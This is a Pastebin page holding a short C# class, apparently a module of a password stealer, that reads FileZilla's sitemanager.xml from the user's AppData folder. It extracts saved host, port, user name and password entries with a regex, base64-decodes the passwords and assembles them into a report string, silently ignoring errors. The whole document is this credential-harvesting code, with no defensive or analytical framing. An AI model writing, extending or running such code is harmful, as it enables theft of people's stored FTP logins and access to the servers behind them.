Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.69 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using System.Text.RegularExpressions;
  8.  
  9. namespace GetPassword
  10. {
  11.     class Filezilla
  12.     {
  13.         public static string GetPasswords()
  14.         {
  15.             string result = null;
  16.             try
  17.             {
  18.                 string logins = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\FileZilla\sitemanager.xml");
  19.                 foreach (Match m in new Regex("<Host>(.*?)<\\/Host>\n(.*?)<Port>(.*?)<\\/Port>\n(.*?)\n(.*?)\n(.*?)<User>(.*?)<\\/User>\n(.*?)<Pass(.*?)\">(.*?)<\\/Pass>").Matches(logins))
  20.                 {
  21.                     string host = m.Groups[1].ToString();
  22.                     string port = m.Groups[3].ToString();
  23.                     string user = m.Groups[7].ToString();
  24.                     string password = m.Groups[10].ToString();
  25.  
  26.                     result += "================================================\n";
  27.                     result += "Type : Filezilla\n";
  28.                     result += "Host : " + host + "\n";
  29.                     result += "Port : " + port + "\n";
  30.                     result += "User : " + user + "\n";
  31.                     result += "Password : " + Base64Decoder(password) + "\n";
  32.                     result += "================================================\n";
  33.                 }
  34.             }
  35.             catch (Exception) { }            
  36.             return result;
  37.         }
  38.  
  39.         private static string Base64Decoder(string base64)
  40.         {
  41.             return Encoding.Default.GetString(Convert.FromBase64String(base64));
  42.         }
  43.     }
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement